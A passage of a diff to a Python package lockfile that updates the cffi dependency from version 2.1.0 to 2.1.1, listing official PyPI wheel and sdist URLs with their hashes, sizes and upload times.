"https://files.pythonhosted.org/packages/4b/92/e7bb136ad6b5352603732cf907ef862ca103f20f2031c1735a46300c20c9/cffi-2.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:78474632761faa0fb96f30b1c928c84ebcf68713cbb80d15bab09dfe61640fde", size = 184728, upload-time = "2026-07-06T21:32:45.683Z" }, - { url = "https://files.pythonhosted.org/packages/c3/c0/d1ec30ffb370f748f2fb54425972bfef9871e0132e82fb589c46b6676049/cffi-2.1.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:5972433ad71a9e46516584ef60a0fda12d9dc459938d1539c3ddecf9bdc1368d", size = 214815, upload-time = "2026-07-06T21:32:48.557Z" }, - { url = "https://files.pythonhosted.org/packages/1b/dc/5620cf930688be01f2d673804291de757a934c90b946dbdc3d84130c2ea4/cffi-2.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b6422532152adf4e59b110cb2808cee7a033800952f5c036b4af047ee43199e7", size = 222429, upload-time = "2026-07-06T21:32:49.848Z" }, - { url = "https://files.pythonhosted.org/packages/4b/a4/77b53abbf7a1e0beb9637edbef2a94d15f9c822f591e85d439ffd91519a6/cffi-2.1.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:46b1c8db8f6122420f32d02fffb924c2fe9bc772d228c7c711748fff56aabb2b", size = 210315, upload-time = "2026-07-06T21:32:51.221Z" }, - { url = "https://files.pythonhosted.org/packages/58/0c/f528df19cc94b675087324d4760d9e6d5bfae97d6217aa4fac43de4f5fcc/cffi-2.1.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9fafc5aa2e2a39aaf7f8cc0c1f044a9b07fca12e558dca53a3cc5c654ad67a7", size = 208859, upload-time = "2026-07-06T21:32:52.512Z" }, - { url = "https://files.pythonhosted.org/packages/62/f2/c9522a81c32132799a1972c39f5c5f8b4c8b9f00488a23feaa6c06f07741/cffi-2.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1e9f50d192a3e525b15a75ab5114e442d83d657b7ec29182a991bc9a88fd3a66", size = 221844, upload-time = "2026-07-06T21:32:53.704Z" }, - { url = "https://files.pythonhosted.org/packages/6e/28/bd53988b9833e8f8ad539d26f4c07a6b3f6bcb1e9e02e7ca038250b3428d/cffi-2.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:98fff996e983a36d3aa2eca83af40c5821202e7e6f32d13ae94e3d2286f10cfe", size = 225287, upload-time = "2026-07-06T21:32:54.907Z" }, - { url = "https://files.pythonhosted.org/packages/79/99/0d0fd37f055224085f42bbb2c022d002e17dde4a97972822327b07d84101/cffi-2.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:379de10ce1ba048b1448599d1b37b24caee16309d1ac98d3982fc997f768700b", size = 223681, upload-time = "2026-07-06T21:32:56.329Z" }, - { url = "https://files.pythonhosted.org/packages/b0/80/c138990aa2a70b1a269f6e06348729836d733d6f970867943f61d367f8cc/cffi-2.1.0-cp312-cp312-win32.whl", hash = "sha256:9b8f0f26ca4e7513c534d351eca551947d053fac438f2a04ac96d882909b0d3a", size = 175269, upload-time = "2026-07-06T21:32:57.777Z" }, - { url = "https://files.pythonhosted.org/packages/a8/eb/f636456ff21a83fc13c032b58cc5dde061691546ac79efa284b2989b7982/cffi-2.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:c97f080ea627e2863524c5af3836e2270b5f5dfff1f104392b959f8df0c5d384", size = 185881, upload-time = "2026-07-06T21:32:59.253Z" }, - { url = "https://files.pythonhosted.org/packages/dd/2c/400ea43e721727dca8a65c4521390e9196757caba4a45643acb2b63271b8/cffi-2.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:6d194185eabd279f1c05ebe3504265ddfc5ad2b58d0714f7db9f01da592e9eb6", size = 180088, upload-time = "2026-07-06T21:33:02.278Z" }, - { url = "https://files.pythonhosted.org/packages/96/88/a996879e2eeccb815f6e3a5967b12a308257412acec882039d386bd2aa7b/cffi-2.1.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:10537b1df4967ca26d21e5072d7d54188354483b91dc75058968d3f0cf13fbda", size = 194331, upload-time = "2026-07-06T21:33:03.697Z" }, - { url = "https://files.pythonhosted.org/packages/58/85/7ae00d5c8dd6266f4e944c3db630f3c5c9a98b61d469c714d848b1d8138a/cffi-2.1.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:a95b05f9baf29b91171b3a8bd2020b028835243e7b0ff6bb23e2a3c228518b1b", size = 196966, upload-time = "2026-07-06T21:33:05.353Z" }, - { url = "https://files.pythonhosted.org/packages/8c/e9/45c3a76ad8d43ad9261f4c95436da61128d3ca545d72b9612c0ab5be0b1c/cffi-2.1.0-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:15faec4adfff450819f3aee0e2e02c812de6edb88203aa58807955db2003472a", size = 184795, upload-time = "2026-07-06T21:33:06.699Z" }, - { url = "https://files.pythonhosted.org/packages/84/4c/82f132cb4418ee6d953d982b19191e87e2a6372c8a4ce36e50b69d6ade4a/cffi-2.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:716ff8ec22f20b4d988b12884086bcef0fc99737043e503f7a3935a6be99b1ea", size = 184746, upload-time = "2026-07-06T21:33:08.071Z" }, - { url = "https://files.pythonhosted.org/packages/a0/1c/4ed5a0e5bdca6cbc275556de3328dd1b76fd0c11cc13c88fe66d1d8715f2/cffi-2.1.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:63960549e4f8dc41e31accb97b975abaecfc44c03e396c093a6436763c2ea7db", size = 214747, upload-time = "2026-07-06T21:33:09.671Z" }, - { url = "https://files.pythonhosted.org/packages/3a/a6/e879bb68cc23a2bc9ba8f4b7d8019f0c2694bad2ab6c4a3701d429439f58/cffi-2.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ff067a8d8d880e7809e4ac88eb009bb848870115317b306666502ccad30b147f", size = 222392, upload-time = "2026-07-06T21:33:10.896Z" }, - { url = "https://files.pythonhosted.org/packages/88/f6/01890cfd63c08f8eb96a8319b0443690197d240a8bd6346048cf7bde9190/cffi-2.1.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:3b926723c13eba9f81d2ef3820d63aeceec3b2d4639906047bf675cb8a7a500d", size = 210285, upload-time = "2026-07-06T21:33:12.251Z" }, - { url = "https://files.pythonhosted.org/packages/a6/cf/2b684132056f438567b61e19d690dd31cd0921ace051e0a458be6074369e/cffi-2.1.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:47ff3a8bfd8cb9da1af7524b965127095055654c177fcfc7578debcb015eecd0", size = 208801, upload-time = "2026-07-06T21:33:13.617Z" }, - { url = "https://files.pythonhosted.org/packages/6f/08/f2e7d62c460faae0926f2d6e423694aa409ced3bc1fe2927a0a6e5f05416/cffi-2.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:799416bae98336e400981ff6e532d67d5c709cfb30afb79865a1315f94b0e224", size = 221808, upload-time = "2026-07-06T21:33:15.466Z" }, - { url = "https://files.pythonhosted.org/packages/38/37/04f54b8e63a02f3d908332c9effbf8c366167c6f733ed8a3d4f79b7e2a1e/cffi-2.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:961be50688f7fba2fa65f63712d3b9b341a22311f5253460ce933f52f0de1c8c", size = 225241, upload-time = "2026-07-06T21:33:16.869Z" }, - { url = "https://files.pythonhosted.org/packages/a9/d6/c72eecca433cd3e681c65ed313ab4835d9d4a379704d0f628a6a05f51c2e/cffi-2.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:bf5c6cf48238b0eb4c086978c492ad1cbc22373fc5b2d7353b3a598ce6db887a", size = 223588, upload-time = "2026-07-06T21:33:18.239Z" }, - { url = "https://files.pythonhosted.org/packages/c6/4b/e706f67279140f92939da3475ad610df18bfd52d50f14953a8e5fede71d5/cffi-2.1.0-cp313-cp313-win32.whl", hash = "sha256:db3eb7d46527159a878ec3460e9d40615bc25ba337d477db681aea6e4f05c5d2", size = 175248, upload-time = "2026-07-06T21:33:19.799Z" }, - { url = "https://files.pythonhosted.org/packages/5a/47/59eb7975cb0e4ef0afa764ea945b29a5bb4537a9f771cb7d6c8a5dd74c95/cffi-2.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:8e74a6135550c4748af665b1b1118b6aab33b1fc6a16f9aff630af107c3b4512", size = 185717, upload-time = "2026-07-06T21:33:21.47Z" }, - { url = "https://files.pythonhosted.org/packages/5a/af/34fee85c48f8d94efc8597bc09470c9dd274c145f1c12e0fbc6ab6d38d74/cffi-2.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:2282cd5e38aa8accd03e99d1256af8411c84cdbee6a89d841b563fdbd1f3e50f", size = 180114, upload-time = "2026-07-06T21:33:22.515Z" }, - { url = "https://files.pythonhosted.org/packages/d8/f0/81478e482afa03f6d18dc8f2afb5edc45b3080853b634b5ed91961be0998/cffi-2.1.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:d2117334c3af3bdcb9a88522b844a2bdb5efdc4f71c6c822df55486ae1c3347a", size = 194142, upload-time = "2026-07-06T21:33:23.657Z" }, - { url = "https://files.pythonhosted.org/packages/7d/95/8de304305cd9204974b0ca051b86d307cafca13aa575a0ef1b44d92c0d8c/cffi-2.1.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:702c436735fbe99d59ada02a1f65cfc0d31c0ee8b7290912f8fbc5cd1e4b16c3", size = 196819, upload-time = "2026-07-06T21:33:25.007Z" }, - { url = "https://files.pythonhosted.org/packages/20/71/7c8372d30e42415602ed9f268f7cfd66f1b855fed881ecd168bcb45dbc0b/cffi-2.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:1ff3456eab0d889592d1936d6125bbfbc7ae4d3354a700f8bd80450a66445d4d", size = 184965, upload-time = "2026-07-06T21:33:26.605Z" }, - { url = "https://files.pythonhosted.org/packages/d6/5c/584e626835f0375c928176c04137c96927165cb8733cdb3150ec04e5ee5e/cffi-2.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c4165821e131d6d4ca444347c2b694e2311bcfa3fe5a861cc72968f28867beac", size = 184952, upload-time = "2026-07-06T21:33:27.823Z" }, - { url = "https://files.pythonhosted.org/packages/2e/d2/065fcae1c73979fac8e054462478d0ff8a29c40cdc2ed7ea5676a061df53/cffi-2.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:276f20fffd7b396e12516ba8edf9509210ac248cbbc5acbc39cd512f9f59ebe6", size = 222353, upload-time = "2026-07-06T21:33:29.178Z" }, - { url = "https://files.pythonhosted.org/packages/ed/a5/e8bbb1ce5b3ac2f53ad6a10bde44318a5a8d99d4f4a000d44a6e39aeb3e4/cffi-2.1.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7d5980a3433d4b71a5e120f9dd551403d7824e31e2e67124fe2769c404c06913", size = 210051, upload-time = "2026-07-06T21:33:30.534Z" }, - { url = "https://files.pythonhosted.org/packages/28/ed/c127d3ac36e899c965e3361357c3befacd6578c03f40125183e41c3b219e/cffi-2.1.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6ca4919c6e4f89aa99c42510b42cf54596892c00b3f9077f6bdd1505e24b9c8d", size = 208630, upload-time = "2026-07-06T21:33:31.753Z" }, - { url = "https://files.pythonhosted.org/packages/cc/d7/97d3136f81db489ec8d1d67748c110d6c994268fd7528014aa9f2b085e4e/cffi-2.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d53d10f7da99ae46f7373b9150393e9c5eab9b224909982b43832668de4779f5", size = 221593, upload-time = "2026-07-06T21:33:33.044Z" }, - { url = "https://files.pythonhosted.org/packages/d3/27/93195977168ee63aed233a1a0993a2178798654d1f4bddcdd321d6fd3b21/cffi-2.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c351efb95e832a853a29361675f33a7ce53de1a109cd73fd47af0712213aa4ce", size = 225146, upload-time = "2026-07-06T21:33:34.224Z" }, - { url = "https://files.pythonhosted.org/packages/b3/c1/6dbd291ee2ae5a50a034aa057207081f545923bbf15dad4511e985aafff5/cffi-2.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:dbf7c7a88e2bac086f06d14577332760bdeecc42bdec8ac4077f6260557d9326", size = 223240, upload-time = "2026-07-06T21:33:35.57Z" }, - { url = "https://files.pythonhosted.org/packages/0f/6f/ade5ce9863a57992a6ea3d0d10d7e29b8749fc127204b3d493d667b2815f/cffi-2.1.0-cp314-cp314-win32.whl", hash = "sha256:1854b724d00f6654c742097d5387569021be12d3a0f770eae1df8f8acfcc6acd", size = 177723, upload-time = "2026-07-06T21:33:51.626Z" }, - { url = "https://files.pythonhosted.org/packages/41/de/92b9eeed4ae4a21d6fd9b2a2c8505cbed573299902ea73981cc13f7ff62c/cffi-2.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:1b96bfe2c4bd825681b7d311ad6d9b7280a091f43e8f63da5729638083cd3bfb", size = 187937, upload-time = "2026-07-06T21:33:53.403Z" }, - { url = "https://files.pythonhosted.org/packages/2e/1a/cc6ae6c2913a03aab8898eee57963cf1035b8df5872ed8b9115fcc7e2be8/cffi-2.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:7d28dff1db6764108bc30788d85d61c876beff416d9a49cb9dd7c5a9f34f5804", size = 183001, upload-time = "2026-07-06T21:33:54.74Z" }, - { url = "https://files.pythonhosted.org/packages/14/f0/134c00ce0779ec86dea2aa1aac69339c2741a8045072676763512363a2ea/cffi-2.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7ea6b3e2c4250ff1de21c630fe72d0f63eb95c2c32ffbf64a358cf4a8836d714", size = 188538, upload-time = "2026-07-06T21:33:36.792Z" }, - { url = "https://files.pythonhosted.org/packages/50/d8/3b86aba791cb610d24e8a3e1b2cd529e71fa15096b04e4d4e360049d4a4c/cffi-2.1.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:6af371f3767faeffc6ac1ef57cdfd25844403e9d3f476c5537caee499de96376", size = 188230, upload-time = "2026-07-06T21:33:38.011Z" }, - { url = "https://files.pythonhosted.org/packages/14/d0/117dcd9209255ad8571fbc8c92ef32593a1d294dcec91ddc4e4db50606f2/cffi-2.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb4e8997a49aa2c08a3e43c9045d224448b8941d88e7ac163c7d383e560cbf98", size = 223899, upload-time = "2026-07-06T21:33:39.514Z" }, - { url = "https://files.pythonhosted.org/packages/b6/3d/f20f8b886b254e3ad10e15cd4186d3aed49f3e6a35ab37aab9f8f25f7c03/cffi-2.1.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:bf01d8c84cbea96b944c73b22182e6c7c432b3475632b8111dbfdc95ddad6e13", size = 211652, upload-time = "2026-07-06T21:33:40.851Z" }, - { url = "https://files.pythonhosted.org/packages/28/3b/fad54de07260b93ddeef4b96d0131d57ea900675df1d410ae1deee52d7a6/cffi-2.1.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:33eb1ad83ebe8f313e0df035c406227d55a79456704a863fad9842136af5ad7d", size = 210755, upload-time = "2026-07-06T21:33:42.183Z" }, - { url = "https://files.pythonhosted.org/packages/cc/82/3d5c705acb7abbba9bbd7d79b8e62e0f25b6120eb7ae6ac49f1b721722fe/cffi-2.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ac0f1a2d0cfa7eea3f2aaf006ab6e70e8feeb16b75d65b7e5939982ca2f11056", size = 223933, upload-time = "2026-07-06T21:33:43.603Z" }, - { url = "https://files.pythonhosted.org/packages/6c/d0/47e338384ab6b1004241002fa616301020cea4fc95f283506565d252f276/cffi-2.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c16914df9fb7f500e440e6875fa23ff5e0b31db01fa9c06af98d59a91f0dc2e4", size = 226749, upload-time = "2026-07-06T21:33:45.046Z" }, - { url = "https://files.pythonhosted.org/packages/70/25/65bd5b58ea4bfdfc15cde02cb5365f89ef8ab8b2adfb8fe5c4bd4233382f/cffi-2.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5ecbd0499275d57506d397eebe1981cee87b47fcd9ef5c22cab7ed7644a39a94", size = 225703, upload-time = "2026-07-06T21:33:46.374Z" }, - { url = "https://files.pythonhosted.org/packages/dc/78/aa01ac599a8a4322533d45a1f9bc93b338276d2d59dabbe7c6d92a775c81/cffi-2.1.0-cp314-cp314t-win32.whl", hash = "sha256:7d034dcffa09e9a46c93fa3a3be402096cb5354ac6e41ab8e5cc9cd8b642ad76", size = 182857, upload-time = "2026-07-06T21:33:47.696Z" }, - { url = "https://files.pythonhosted.org/packages/b9/26/d00496b22de4d4228f32dde94ad996f350c8aad676d63bcca0743c8dea4d/cffi-2.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0582a58f3051372229ca8e7f5f589f9e5632678208d8636fea3676711fdf7fe5", size = 194065, upload-time = "2026-07-06T21:33:48.953Z" }, - { url = "https://files.pythonhosted.org/packages/d5/dd/0c7dbf815a579ff005008a2d815a55d6bb047c349eef536d9dc53d3f0a8d/cffi-2.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:510aeeeac94811b138077451da1fb18b308a5feab47dd2b603af55804155e1c8", size = 186404, upload-time = "2026-07-06T21:33:50.309Z" }, - { url = "https://files.pythonhosted.org/packages/55/c7/8c8c50cb11c6750051daf12164098a9a6f027ac4356967fd4d800a07f242/cffi-2.1.0-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:2e9dabb9abcb7ad15938c7196ad5c1718a4e6d33cc79b4c0209bdb64c4a54a5c", size = 194121, upload-time = "2026-07-06T21:33:56.109Z" }, - { url = "https://files.pythonhosted.org/packages/99/e2/67680bf19a6b60d2bb7ff83baefa2a4c3d2d7dc0f3277034b802e1fc504c/cffi-2.1.0-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:37f525a7e7e50c017fdebe58b787be310ad59357ae43a053943a6e1a6c526001", size = 196820, upload-time = "2026-07-06T21:33:57.288Z" }, - { url = "https://files.pythonhosted.org/packages/ed/da/4bbe583a3b3a5c8c60892124fe17f3fa3656523faf0d3484eae90f091853/cffi-2.1.0-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:95f2954c2c9473d892eca6e0409f3568b37ab62a8eedb122461f73cc273476e3", size = 184936, upload-time = "2026-07-06T21:33:58.765Z" }, - { url = "https://files.pythonhosted.org/packages/e5/4b/1f4c36ab273980d7aa75bb126ea4f8971f24a96108acad3a0a084028c57b/cffi-2.1.0-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:cdf2448aab5f661c9315308ec8b93f4e8a1a67a3c733f8631067a2b67d5913dc", size = 185045, upload-time = "2026-07-06T21:34:00.085Z" }, - { url = "https://files.pythonhosted.org/packages/ef/c3/ad299dc38f3583f8d916b299f028af418a9ec98bc695fcbebeae7420691c/cffi-2.1.0-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:90bec57cf82089383bd06a605b3eb8daebf7e5a668520beaf6e327a83a947699", size = 222342, upload-time = "2026-07-06T21:34:01.814Z" }, - { url = "https://files.pythonhosted.org/packages/eb/d8/df4543cc087245044ed02ef3ad8e0a26619d0075ac7a77a12dc81177851b/cffi-2.1.0-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6274dcb2d15cef48daa73ed1be5a40d501d74dccd0cd6db364776d12cb6ba022", size = 210073, upload-time = "2026-07-06T21:34:03.255Z" }, - { url = "https://files.pythonhosted.org/packages/2c/0e/fac738d73728c6cea2a88a2883dca54892496cbba88a1dc1f2909cb8a6f5/cffi-2.1.0-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b71d409cccee78310ab5dec549aed052aaea483346e282c7b02362596e01bb0", size = 208551, upload-time = "2026-07-06T21:34:04.433Z" }, - { url = "https://files.pythonhosted.org/packages/e6/3f/0b04a700dd64f465c93020253a793a82c9b4dff9961f48facd0df945d9b8/cffi-2.1.0-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7d3538f9c0e50670f4deb93dbb696576e60590369cae2faf7de681e597a8a1f1", size = 221649, upload-time = "2026-07-06T21:34:06.157Z" }, - { url = "https://files.pythonhosted.org/packages/5d/7c/b7379a5704c79eda57ce075869ba70a0368d1c850f803b3c0d078d39dcaf/cffi-2.1.0-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:8f9ec95b8a043d3dfbc74d9abc6f7baf524dd27a8dc160b0a32ff9cdab650c28", size = 225203, upload-time = "2026-07-06T21:34:07.489Z" }, - { url = "https://files.pythonhosted.org/packages/5a/02/d5e6c43ea85c41bda2a184a3418f195fe7cf602967a8d2b94e085b83deef/cffi-2.1.0-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:af5e2915d41fe6c961694d7bfdc8562942638200f3ce2765dfb8b745cf997629", size = 223263, upload-time = "2026-07-06T21:34:08.712Z" }, - { url = "https://files.pythonhosted.org/packages/2c/d8/772b8259bf75749adffb1c546828978381fb516f60cf701f6c83daf60c85/cffi-2.1.0-cp315-cp315-win32.whl", hash = "sha256:0a42c688d19fca6e095a53c6a6e2295a5b050a8b289f109adab02a9e61a25de6", size = 177696, upload-time = "2026-07-06T21:34:26.355Z" }, - { url = "https://files.pythonhosted.org/packages/2f/dd/afa2191fc6d57fedd26e5844a2fe2fcc0bbfa00961bbaa5a41e4921e7cca/cffi-2.1.0-cp315-cp315-win_amd64.whl", hash = "sha256:bccbbb5ee76a61f9d99b5bf3846a51d7fca4b6a732fe46f89295610edaf41853", size = 187914, upload-time = "2026-07-06T21:34:27.58Z" }, - { url = "https://files.pythonhosted.org/packages/05/ef/6cd4f8c671517162379dc79cfae5aea9106bc38abb89628d5c16adf6a838/cffi-2.1.0-cp315-cp315-win_arm64.whl", hash = "sha256:8d35c139744adb3e727cd51b1a18324bbe44b8bd41bf8322bca4d41289f48eda", size = 183004, upload-time = "2026-07-06T21:34:28.905Z" }, - { url = "https://files.pythonhosted.org/packages/11/b6/12fc55092817a5faa26fb8c40c7f9d662e11a46ee248c137aafc42517d92/cffi-2.1.0-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:f9912624a0c0b834b7520d7769b3644453aabc0a7e1c839da7359f050750e9bc", size = 188378, upload-time = "2026-07-06T21:34:09.926Z" }, - { url = "https://files.pythonhosted.org/packages/8d/2e/cdac88979f295fde5daa69622c7d2111e56e7ceb94f211357fbe452339e4/cffi-2.1.0-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:df92f2aba50eb4d96718b68ef76f2e57a57b54f2fa62333496d16c6d585a85ca", size = 188319, upload-time = "2026-07-06T21:34:11.101Z" }, - { url = "https://files.pythonhosted.org/packages/e0/27/1d0b408497e41a74795af122d7b603c418c5fed0171450f899afd04e594f/cffi-2.1.0-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0520e1f4c35f44e209cbbb421b67eec42e6a157f59444dfb6058874ff3610e5d", size = 223904, upload-time = "2026-07-06T21:34:12.606Z" }, - { url = "https://files.pythonhosted.org/packages/8b/31/e115c985105dd7ffb32444505f18ceb874bb42d992af05d5dced7ecf1980/cffi-2.1.0-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:3681e031db29958a7502f5c0c9d6bbc4c36cb20f7b104086fa642d1799631ff8", size = 211554, upload-time = "2026-07-06T21:34:13.987Z" }, - { url = "https://files.pythonhosted.org/packages/5a/67/9e6e09409336d9e515c58367e7cfcf4f89df06ad25252675595a58eb59d5/cffi-2.1.0-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:762f99479dcb369f60ab9017ad4ab97a36a1dd7c1ee5a3b15db0f4b8659120cd", size = 210795, upload-time = "2026-07-06T21:34:15.972Z" }, - { url = "https://files.pythonhosted.org/packages/19/e5/d3cc82a4a0be7902af279c04181ad038449c096734464a5ae1de3e1401bd/cffi-2.1.0-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0611e7ebf90573a535ebdc33ae9da222d037853983e13359f580fab781ca017f", size = 223843, upload-time = "2026-07-06T21:34:17.509Z" }, - { url = "https://files.pythonhosted.org/packages/b9/65/b434abc97ce7cecc2c640fde160507c0ecc7e21544b483ba3325d2e2ea17/cffi-2.1.0-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:86cf8755a791f72c85dc287128cc62d4f24d392e3f1e15837245623f4a33cccc", size = 226773, upload-time = "2026-07-06T21:34:19.05Z" }, - { url = "https://files.pythonhosted.org/packages/b5/9f/d4dc66ca651eb1145a133314cda721abf13cfac3d28c4a0402263ae6ad75/cffi-2.1.0-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:ba00f661f8ba35d075c937174e27c2c421cec3942fd2e0ea3e66996757c0fdd9", size = 225719, upload-time = "2026-07-06T21:34:20.576Z" }, - { url = "https://files.pythonhosted.org/packages/68/5a/e536c528bc8057496c360c0978559a2dc45653f89dd6151078aa7d8fca1a/cffi-2.1.0-cp315-cp315t-win32.whl", hash = "sha256:cb96698e3c7413d906ce83f8ffd245ec1bd94707541f299d0ce4d6b0193e982b", size = 182760, upload-time = "2026-07-06T21:34:22.059Z" }, - { url = "https://files.pythonhosted.org/packages/d3/0b/0ffe8b82d3875bced5fa1e7986a7a46b748262a40ab7f60b475eb9fb1bb3/cffi-2.1.0-cp315-cp315t-win_amd64.whl", hash = "sha256:f146d154428a2523f9cc7936c02353c2459b8f6cf07d3cd1ee1c0a611109c5d5", size = 193769, upload-time = "2026-07-06T21:34:23.589Z" }, - { url = "https://files.pythonhosted.org/packages/a0/17/1073b53b68c9b5ca6914adf5f8bf55aacc2d3be102418c90700160ea8605/cffi-2.1.0-cp315-cp315t-win_arm64.whl", hash = "sha256:cbb7640ce37159548d2147b5b8c241f962143d4c71231431820783f4dc78f210", size = 186405, upload-time = "2026-07-06T21:34:24.857Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/70/d2/16d99a0c4948febc0ebd133a13b2f688ff7f8cb04da971e1128872ce0c03/cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12", size = 183838, upload-time = "2026-08-03T21:19:29.637Z" }, + { url = "https://files.pythonhosted.org/packages/cd/95/31b535a9f0220ae9f357de4a08d57ce89cb417653c2fd9f075f50822a388/cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1", size = 184168, upload-time = "2026-08-03T21:19:30.764Z" }, + { url = "https://files.pythonhosted.org/packages/ad/5a/4707a0dc1f203f5dde5a907b0d4e3c25d71120241048bd5bc6f1bb9d4e71/cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0", size = 211805, upload-time = "2026-08-03T21:19:31.867Z" }, + { url = "https://files.pythonhosted.org/packages/ad/66/c19feabb28485b6e0bbaaafa90837a1ef5d302e90f2178bd33f17a49879b/cffi-2.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813", size = 218716, upload-time = "2026-08-03T21:19:32.896Z" }, + { url = "https://files.pythonhosted.org/packages/a7/92/500760486c8baab49a7a8a58ba7fc3355ec3974b454b8a09e528efde9e1d/cffi-2.1.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990", size = 205569, upload-time = "2026-08-03T21:19:34.142Z" }, + { url = "https://files.pythonhosted.org/packages/a5/a7/a67c733254d6e7373f7822f8082d8d6beade791e0cf12a7611f376fa61c7/cffi-2.1.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af", size = 204907, upload-time = "2026-08-03T21:19:35.174Z" }, + { url = 